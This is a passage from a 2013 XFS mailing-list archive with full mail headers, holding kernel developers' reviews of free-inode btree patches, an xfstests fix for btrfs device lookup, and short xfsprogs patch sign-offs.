xfs_ialloc_log_agi to consider that >>> there are two distinct regions for range logging - the first spaces >>> from offset 0 to offset of agi_unlinked, and the second is from the >>> the offset of agi_free_root to the end of the xfs_agi_t.... >>> >>> It's abit messy, I know, but we couldn't easily add new padding to >>> the AGI in the existing range logging area like was done for the AGF >>> because of the unlinked list hash table already defining the end of >>> the range logging region.... >>> >> >> ... but where would that ever happen? The existing invocations of >> xfs_ialloc_log_agi() seem to log either the agi inode count values or >> the btree root/level values (i.e., never the range across both). I think >> I've introduced at least a couple new invocations throughout this set, >> but I've not changed that model (i.e., an XFS_AGI_FREECOUNT instance in >> the new lookup code and an XFS_AGI_FREE_ROOT|*_LEVEL instance in the new >> btree code). > > Right, we don't current log across the range because of the way the > code is currently written, but there's no rule that says that > logging fields must be done this way. > > I can see that there may be reason for logging > XFS_AGI_FREE_ROOT|*_LEVEL and XFS_AGI_NEW_INODE all in one go - > pointing new inode allocation at recently freed inodes is not > unreasonable, and if we split the finobt and update agi_newino in > the one update, we will log across this gap. > For the sake of argument, it seems a little strange to me to set an inode level value in the agi in the context of a btree operation, such as a split... >> My understanding of this code is that the range to log is defined at >> invocation time to xfs_iallog_log_agi(), so if the callers never specify >> a range that includes the unlinked bits in a single call, we won't set >> that range in the buffer log item code. In other words, even if we >> ultimately happen to log both ranges in the agi, the lower level code >> will never expand the logged region. Therefore, this shouldn't happen >> unless a single invocation that specifies one of the >> XFS_AGI_FREE_ROOT/LEVEL bits also specifies one of the existing agi bits. > > Yes, we can avoid that by logging te regions separately, but that > then puts the onus on the future developers and reviewers to > remember this landmine and avoid it. > ... but I agree with the general premise. It's certainly a landmine. >> I could see breaking this up as a matter of preparation for future >> fields or calls that would introduce logging that kind of range, but at >> the same time (and assuming my interpretation of above is correct), >> that's a bit of code that serves no purpose for the foreseeable future. >> Perhaps a comment in xfs_ialloc_log_agi() and the one caller that uses >> the AGI_FREE_* bits to document this restriction is sufficient? > > Given it is only a few lines of extra code in xfs_ialloc_log_agi(), > I'd prefer that the code documents and deals with the different > regions internally. That way we can forget about it completely for the > future and never have to worry about it again. > > Keep in mind that I'm looking at this from a code maintenance > timescale of at least 5-10 years into the future here - a few > minutes extra fixing this right now could save us a lot of hassle > years down the track. ;) > Fair enough. If it's at least a reasonably likely scenario, then I'm on board with the better safe than sorry approach. ;) Brian >>>> #ifdef DEBUG >>>> diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c >>>> index 0cdb88b..7923292 100644 >>>> --- a/fs/xfs/xfs_ialloc_btree.c >>>> +++ b/fs/xfs/xfs_ialloc_btree.c >>>> @@ -62,10 +62,18 @@ xfs_inobt_set_root( >>>> { >>>> struct xfs_buf *agbp = cur->bc_private.a.agbp; >>>> struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); >>>> - >>>> - agi->agi_root = nptr->s; >>>> - be32_add_cpu(&agi->agi_level, inc); >>>> - xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); >>>> + int fields; >>>> + >>>> + if (cur->bc_btnum == XFS_BTNUM_INO) { >>>> + agi->agi_root = nptr->s; >>>> + be32_add_cpu(&agi->agi_level, inc); >>>> + fields = XFS_AGI_ROOT | XFS_AGI_LEVEL; >>>> + } else { >>>> + agi->agi_free_root = nptr->s; >>>> + be32_add_cpu(&agi->agi_free_level, inc); >>>> + fields = XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL; >>>> + } >>>> + xfs_ialloc_log_agi(cur->bc_tp, agbp, fields); >>>> } >>> >>> I suspect that it would be better to have separate functions for >>> these differences i.e. xfs_inobt_set_root() and >>> xfs_finobt_set_root(), and set up separate btree ops structure >>> forthe two different trees. Most of the code is still identical, >>> but the differences in root structures can easily be handled without >>> putting switches in the code everywhere. >>> >> >> Ok, I'm assuming the suggestion is to only create new functions for the >> implementations that differ. > > Exactly. > > Cheers, > > Dave. > From bfoster@redhat.com Fri Sep 6 06:33:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5BCB57F53 for ; Fri, 6 Sep 2013 06:33:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 40AAC8F8033 for ; Fri, 6 Sep 2013 04:33:46 -0700 (PDT) X-ASG-Debug-ID: 1378467223-04cbb02c3ed98880001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ShbD5XrhJNAjEh7q for ; Fri, 06 Sep 2013 04:33:43 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r86BXeuT032577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Sep 2013 07:33:41 -0400 Received: from laptop.bfoster (vpn-61-197.rdu2.redhat.com [10.10.61.197]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r86BXb3B000350 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 6 Sep 2013 07:33:39 -0400 Message-ID: <5229BCB8.2070207@redhat.com> Date: Fri, 06 Sep 2013 07:30:00 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-8-git-send-email-bfoster@redhat.com> <20130905014016.GU23571@dastard> <5228AED7.1010700@redhat.com> <20130906001718.GQ12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() In-Reply-To: <20130906001718.GQ12779@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378467223 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/05/2013 08:17 PM, Dave Chinner wrote: > On Thu, Sep 05, 2013 at 12:18:31PM -0400, Brian Foster wrote: >> On 09/04/2013 09:40 PM, Dave Chinner wrote: >>> On Tue, Sep 03, 2013 at 02:25:04PM -0400, Brian Foster wrote: >>>> An ifree data block reservation can fail with ENOSPC. Flush inodes >>>> to try and free up space or attempt without a data block >>>> reservation to avoid failing out of xfs_inactive(). >>>> >>>> Signed-off-by: Brian Foster >>>> --- >>>> fs/xfs/xfs_inode.c | 11 +++++++++++ >>>> 1 file changed, 11 insertions(+) >>>> ... > >> Subsequent to avoiding that, I >> believe there were inconsistent fs issues called out due to the unlinked >> lists being populated after umount. > > That sounds like a recovery failure, not so much an ENOSPC failure. > i.e. that recovery only looks at the log to see if it's clean, and > only recovers unlinked lists if it's dirty. There is the > *possibility* of having a clean log with inodes on the unlinked > list, and log recovery doesn't run the unlinked list processing in > that case. > Interesting, I'll have a closer look when I rework the inactive transaction reservation bits. Thanks. Brian > This is one of the issues we'll need to fix for O_TMPFILE support > as it will actively use inodes on unlinked list for potentially long > periods of time. > >> Taking a further look, I missed the XFS_TRANS_RESERVE flag and whole >> m_resblks mechanism. I'll take a closer look at that and see if that >> works to resolve the problem instead of the flush. > > It should - the only time it won't is if we exhaust the pool, but > that doesn't happen in normal ENOSPC situations and any blocks we do > end up freeing will immediately refill the reserve pool... > > Cheers, > > Dave. > From bfoster@redhat.com Fri Sep 6 06:43:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 143167F55 for ; Fri, 6 Sep 2013 06:43:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8567AC00A for ; Fri, 6 Sep 2013 04:42:59 -0700 (PDT) X-ASG-Debug-ID: 1378467778-04bdf02f23dd49a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CHqr3HE78yely1Ei for ; Fri, 06 Sep 2013 04:42:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r86Bguab003810 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 6 Sep 2013 07:42:57 -0400 Received: from laptop.bfoster (vpn-61-197.rdu2.redhat.com [10.10.61.197]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r86Bgt8T001828 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 6 Sep 2013 07:42:56 -0400 Message-ID: <5229BEE6.3060407@redhat.com> Date: Fri, 06 Sep 2013 07:39:18 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> <20130906002847.GR12779@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free In-Reply-To: <20130906002847.GR12779@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378467778 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/05/2013 08:28 PM, Dave Chinner wrote: > On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: >> On 09/04/2013 10:54 PM, Dave Chinner wrote: >>> On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: ... >> >> I think I'm parsing you after having another look at the code. >> xfs_inobt_lookup() remains as is and is potentially used from >> xfs_inobt_insert(). xfs_inobt_insert_rec() is introduced to set the >> cursor fields and do the insert and is used here and from >> xfs_inobt_insert(). > > Effectively. xfs_inobt_insert() becomes: > > for (each inode chunk) { > xfs_inobt_lookup(cur, startino) > xfs_inobt_insert_rec(cur, startino, free, free_count) > } > > And this code becomes: > > xfs_inobt_lookup(cur, startino); > if (!found) { > if (free_count == 1) > xfs_inobt_insert_rec(cur, startino, free, free_count) > else > CORRUPTION > goto out; > } > >> At that point, this looks close to xfs_inobt_insert(), but I think using >> that here would introduce a duplicate lookup. > > Yes, it would. I think just using helpers like this is sufficient > for the two different cases, especially as xfs_inobt_insert() needs > to be able to handle multiple chunk insertion and we don't have that > here... > Ok, that was my thinking as well. >> Regardless, we'll see what >> the whole thing looks like at that point. Thanks for the reviews. :) > > No worries. BTW, can you post your rudimentary userspace support so > we can run tests that use this code, too? > Sure. My xfsprogs branch currently is the application of a slightly older version of this set (pre-cleanups I made to make this post-worthy) with some hacks to make it apply/compile and a few other patches on top of that for mkfs, xfs_db and xfs_repair to work through some basic things I ran into when running xfstests. Would you prefer I drop the whole thing on the list? Brian > Cheers, > > Dave. > From dsterba@suse.cz Fri Sep 6 09:03:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6D9B27F50 for ; Fri, 6 Sep 2013 09:03:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 03EEDAC001 for ; Fri, 6 Sep 2013 07:03:44 -0700 (PDT) X-ASG-Debug-ID: 1378476219-04cb6c153ddb0100001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id iXbGcoogLDlXJ1MZ for ; Fri, 06 Sep 2013 07:03:40 -0700 (PDT) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 4A535A50E4; Fri, 6 Sep 2013 16:03:39 +0200 (CEST) Received: by ds.suse.cz (Postfix, from userid 10065) id B5DF8DA85A; Fri, 6 Sep 2013 16:03:37 +0200 (CEST) Date: Fri, 6 Sep 2013 16:03:37 +0200 From: David Sterba To: Jeff Mahoney Cc: Linux FS Maling List , linux-btrfs , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: fix device lookup in btrfs/003 Message-ID: <20130906140337.GK32382@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix device lookup in btrfs/003 Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Jeff Mahoney , Linux FS Maling List , linux-btrfs , xfs@oss.sgi.com References: <52266055.9050004@suse.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52266055.9050004@suse.com> User-Agent: Mutt/1.5.21 (2012-12-30) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378476219 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 06:19:01PM -0400, Jeff Mahoney wrote: > The DEVHTL lookup in btrfs/003 is broken. It can only handle full LUNs and > not partitions on a disk. > > Rather than returning 2:0:0:0 for /dev/sdc7, it returns 'block' and we see: > ./common/rc: line 2081: /sys/class/scsi_device/block/device/delete: > No such file or directory > > If we look up the device by dev instead of by name, we can handle working > with full disks and partitions more easily and get the ability to use > any device name rather than just the ones that match sysfs. > > @@ -137,9 +137,21 @@ _test_replace() > #pick the 2nd last disk > ds=${devs[@]:$(($n-1)):1} > > - # retrive the HTL for this scsi disk > - d=`echo $ds|cut -d"/" -f3` > - DEVHTL=`ls -l /sys/class/block/${d} | rev | cut -d "/" -f 3 | rev` > + HEXMAJOR="$(stat -c "%t" "$ds")" > + HEXMINOR="$(stat -c "%T" "$ds")" > + if [ -z "$HEXMAJOR" -o -z "$HEXMINOR" ]; then > + _fail "tr: HEXMAJOR and/or HEXMINOR is unset for $ds" > + fi > + > + DIR="/sys/dev/block/$(( 0x$HEXMAJOR )):$(( 0x$HEXMINOR ))" > + > + if [ -L "$DIR/device" ]; then # whole disk > + DEVHTL="$(basename $(readlink "$DIR/device"))" > + elif [ -L "$DIR/../device" ]; then # partition > + DEVHTL="$(basename $(readlink "$DIR/../device"))" > + else > + _fail "tr: Can't locate device backing $ds" > + fi > > #fail disk > _devmgt_remove ${DEVHTL} The test assumes tha SCRATCH_DEV_POOL consists of standalone devices and more strongly that they can be removed from the system by $ echo 1 > /sys/class/scsi_device/sdx/device/delete via _devmgt_remove. Ordinary sdX devices are ok, but eg. MD devices are not because they do not have a corresponding "2:0:0:0"-like entry (I haven't checked device-mapper devices). Looks like the tests have to do more fine grained checks of the devices in SCRATCH_DEV_POOL because eg. the 'device replace' test btrfs/011 is just fine with partitions. david From jeffm@suse.com Fri Sep 6 09:41:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4BD527F50 for ; Fri, 6 Sep 2013 09:41:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2891E304059 for ; Fri, 6 Sep 2013 07:41:15 -0700 (PDT) X-ASG-Debug-ID: 1378478473-04cbb02c3eda8690001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id TMwewtjimhlPDjc4 for ; Fri, 06 Sep 2013 07:41:13 -0700 (PDT) X-Barracuda-Envelope-From: jeffm@suse.com X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id D43D3A51FF; Fri, 6 Sep 2013 16:41:12 +0200 (CEST) Message-ID: <5229E980.3000904@suse.com> Date: Fri, 06 Sep 2013 10:41:04 -0400 From: Jeff Mahoney User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: dsterba@suse.cz, Linux FS Maling List , linux-btrfs , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: fix device lookup in btrfs/003 References: <52266055.9050004@suse.com> <20130906140337.GK32382@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix device lookup in btrfs/003 In-Reply-To: <20130906140337.GK32382@twin.jikos.cz> X-Enigmail-Version: 1.5.2 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="rVwNBkkWOGKNK3PDMHI3ts77Rp9KVSSA5" X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1378478473 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140391 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --rVwNBkkWOGKNK3PDMHI3ts77Rp9KVSSA5 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 9/6/13 10:03 AM, David Sterba wrote: > On Tue, Sep 03, 2013 at 06:19:01PM -0400, Jeff Mahoney wrote: >> The DEVHTL lookup in btrfs/003 is broken. It can only handle full LUNs= and >> not partitions on a disk. >> >> Rather than returning 2:0:0:0 for /dev/sdc7, it returns 'block' and we= see: >> ./common/rc: line 2081: /sys/class/scsi_device/block/device/delete: >> No such file or directory >> >> If we look up the device by dev instead of by name, we can handle work= ing >> with full disks and partitions more easily and get the ability to use >> any device name rather than just the ones that match sysfs. >> >> @@ -137,9 +137,21 @@ _test_replace() >> #pick the 2nd last disk=20 >> ds=3D${devs[@]:$(($n-1)):1} >> =20 >> - # retrive the HTL for this scsi disk >> - d=3D`echo $ds|cut -d"/" -f3` >> - DEVHTL=3D`ls -l /sys/class/block/${d} | rev | cut -d "/" -f 3 | rev`= >> + HEXMAJOR=3D"$(stat -c "%t" "$ds")" >> + HEXMINOR=3D"$(stat -c "%T" "$ds")" >> + if [ -z "$HEXMAJOR" -o -z "$HEXMINOR" ]; then >> + _fail "tr: HEXMAJOR and/or HEXMINOR is unset for $ds" >> + fi >> + >> + DIR=3D"/sys/dev/block/$(( 0x$HEXMAJOR )):$(( 0x$HEXMINOR ))" >> + >> + if [ -L "$DIR/device" ]; then # whole disk >> + DEVHTL=3D"$(basename $(readlink "$DIR/device"))" >> + elif [ -L "$DIR/../device" ]; then # partition >> + DEVHTL=3D"$(basename $(readlink "$DIR/../device"))" >> + else >> + _fail "tr: Can't locate device backing $ds" >> + fi >> =20 >> #fail disk >> _devmgt_remove ${DEVHTL} >=20 > The test assumes tha SCRATCH_DEV_POOL consists of standalone devices > and more strongly that they can be removed from the system by >=20 > $ echo 1 > /sys/class/scsi_device/sdx/device/delete >=20 > via _devmgt_remove. Ordinary sdX devices are ok, but eg. MD devices are= > not because they do not have a corresponding "2:0:0:0"-like entry (I > haven't checked device-mapper devices). >=20 > Looks like the tests have to do more fine grained checks of the devices= > in SCRATCH_DEV_POOL because eg. the 'device replace' test btrfs/011 is > just fine with partitions. Yeah. It doesn't work with any type of device that doesn't present a SCSI-style host interface with a delete sysfs entry. I wasn't looking to make it work everywhere, just allow it to work with the types of devices it was originally targeting in a slightly less fragile way. -Jeff --=20 Jeff Mahoney SUSE Labs --rVwNBkkWOGKNK3PDMHI3ts77Rp9KVSSA5 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.19 (Darwin) iQIcBAEBAgAGBQJSKemDAAoJEB57S2MheeWy+JAQALipYPfwK8wOk3tfqpPDuyks dG8WRbuRnhxeVolWcv0FlaagQUuDN+wmY6UoQ1ZiK6UoGXLzfmn2KjbLA8A0Js0c a4Z8fRpHULCmMnZH5t+mopI8EiPN9QYrsIjV23w+U52mD/LecDp1QqGHDJiV88KN KhoPa0p4rBgdu3UXwZQ+tPPgLy8A7yR9H+pLcrgrSWPlOCQiOo5NVWwnKa7BcEes NxfKEN3QcDkFbPPRUOWY9ZEOpV8wP3gImsz4BAfdYNSW8u3xcSbKM+SIVkQ5eTIP ivk8X/2Z8X2psRujjkYObiHA5FPXvFWLJiwQIuuaKkL09jobNaPGIl5vPuNVx0JF EODRA8NDN0e8uyylQQQzRKDF0CKM/OYFdV4xuhv2KFgDdpnJhW1XRZ6qQZusl8sJ SO8jlhtYkUhSwTuD1dv36TfVIfXvDkWF0UzS0zU+G4cHI6knLcMFFeXUrYWjsKwG vd4T2UOHYQ+f1f1Ld3KzlZWACcojokp5NX2Uovx9bjuhnhqDpIruvmaykj/6sqEk vPCH8ajwE6s8GSiY6XveLqcu8NRpnjRkCnt84pb9dHKIks/rQCeZ2e9RrtFmbHcF 46j8Tj66aTuW1U5CgwnRGmx01yEJcznqzl+qH6mb3UmQTrVXxQK+sIqIDiIY6KGO oNSNqg6Ilj/aTCHBHrs8 =Mzda -----END PGP SIGNATURE----- --rVwNBkkWOGKNK3PDMHI3ts77Rp9KVSSA5-- From tinguely@sgi.com Fri Sep 6 10:13:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 528877F3F for ; Fri, 6 Sep 2013 10:13:42 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1C04C8F8039; Fri, 6 Sep 2013 08:13:38 -0700 (PDT) Message-ID: <5229F122.3030206@sgi.com> Date: Fri, 06 Sep 2013 10:13:38 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 30/55] xfs: split out the remote symlink handling References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-31-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-31-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The remote symlink format definition and manipulation needs to be > shared with userspace, but the in-kernel interfaces do not. Split > the remote symlink format handling out into xfs_symlink_remote.[ch] > fo it can easily be shared with userspace. > > Signed-off-by: Dave Chinner > --- No change in repost. user equivalent of the for Linux 3.12 kernel patch 19/50. moves the shared symlink information from xfs_symlink.c/h to xfs_format.h and xfs_symlink_remote.c/h. xfs_symlink.c/h is kernel-only and these files are removed from xfsprogs. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 10:30:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0153D7F3F for ; Fri, 6 Sep 2013 10:30:06 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 620708F8039; Fri, 6 Sep 2013 08:30:06 -0700 (PDT) Message-ID: <5229F4FD.8060304@sgi.com> Date: Fri, 06 Sep 2013 10:30:05 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 32/55] xfs: create xfs_bmap_util.[ch] References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-33-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-33-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There is a bunch of code in xfs_bmap.c that is kernel specific and > not shared with userspace. to minimise the difference between the > kernel and userspace code, shift this unshared code to > xfs_bmap_util.c, and the declarations to xfs_bmap_util.h. > > The biggest issue here is xfs_bmap_finish() - userspce has it's own > definition of this function, and so we need to move it out of > xfs_bmap.[ch]. This means several other files need to include > xfs_bmap_util.c as well. > > It also introduces and interesting dance for the stack switching > code in xfs_bmapi_allocate(). The stack switching/workqueue code is > actually moved to xfs_bmap_util.c, so that userspace can simply use > a #define in a header file to connect the dots without needing to > know about the stack switch code at all. > > Signed-off-by: Dave Chinner > --- Skipped patch 31 because there are issues that I do not see resolved by the end of the series. I will come back to it. This patch did not change from last posting. User equivalent of kernel patch 21/50. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 10:44:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 06F947F3F for ; Fri, 6 Sep 2013 10:44:27 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id CE76D8F8040; Fri, 6 Sep 2013 08:44:26 -0700 (PDT) Message-ID: <5229F85A.3010601@sgi.com> Date: Fri, 06 Sep 2013 10:44:26 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 33/55] xfsprogs: sync minor kernel header differences References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-34-git-send-email-david@fromorbit.com> In-Reply-To: 